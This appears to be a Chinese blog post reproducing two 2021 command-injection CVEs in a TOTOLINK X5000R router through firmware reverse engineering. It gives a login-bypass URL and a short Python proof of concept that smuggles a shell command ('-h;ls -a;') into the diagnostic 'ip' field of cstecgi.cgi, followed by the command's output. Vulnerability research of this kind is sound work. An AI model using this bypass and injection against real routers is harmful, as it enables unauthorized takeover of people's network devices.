totolink-X5000R CVE复现

本来想复现2022年的几个CVE的,逆向的时候怎么都找不到目标函数地址😤,碰巧发现了三个很有漏洞嫌疑的函数,带着激动的心情调了一晚上😍,发现其中一个没有漏洞😭,另外两个是2021的CVE😒

环境搭建

环境搭建参考了这篇博客totolink登陆跳过,分析思路

逆向分析

固件是mipsel架构的,有符号表,但这只是冰山一角,大部分函数都未被识别,我们通过查找危险函数(system、popen)的交叉引用来定位可能有漏洞的函数

同时通过对libshared.so的分析,找到了两个会调用system的函数:doSystemgetCmdStr

查找doSystem函数的交叉引用,基本都是未识别的函数,需要手动识别一下才能反编译,最后找到了两个漏洞函数,分别对应CVE-2021-27710CVE-2021-27708

CVE-2021-27710

CVE-2021-27708

很明显参数直接来源于请求,而且没有任何过滤,可以直接利用

可能是因为函数是我们手动创建的,并没有找到哪里调用了这些函数,不过一般路由器都有测试网络的功能,所以我们只要找到位置抓包就完事了

抓包分析

启动环境后,浏览器打开,需要登录

试试密码都不对,还好博客里有绕过登录的方法,直接访问 formLoginAuth.htm?authCode=1&action=login 跳过登录进入后台,找到高级功能

我们抓包后修改指令,发现可以执行并且有回显

另一个CVE只有post内容上的区别,就不赘述了

随便写个POC

import requests

base_url="http://localhost/"
ping_url=base_url+"cgi-bin/cstecgi.cgi"
cmd="ls -a;"
request_data='{"topicurl":"setDiagnosisCfg","ip":"-h;%s","num":"4"}' % (cmd)

headers={"accept":"application/json, text/javascript, */*; q=0.01","Content-type":"application/x-www-form-urlencoded; charset=UTF-8"}

response=requests.post(ping_url,data=request_data,headers=headers)
print(response.text)
.
..
.gdb_history
ExportSettings.sh
cstecgi.cgi
custom.cgi
{
	"success":	true,
	"error":	null,
	"lan_ip":	"",
	"wtime":	"0",
	"reserv":	"reserv"
}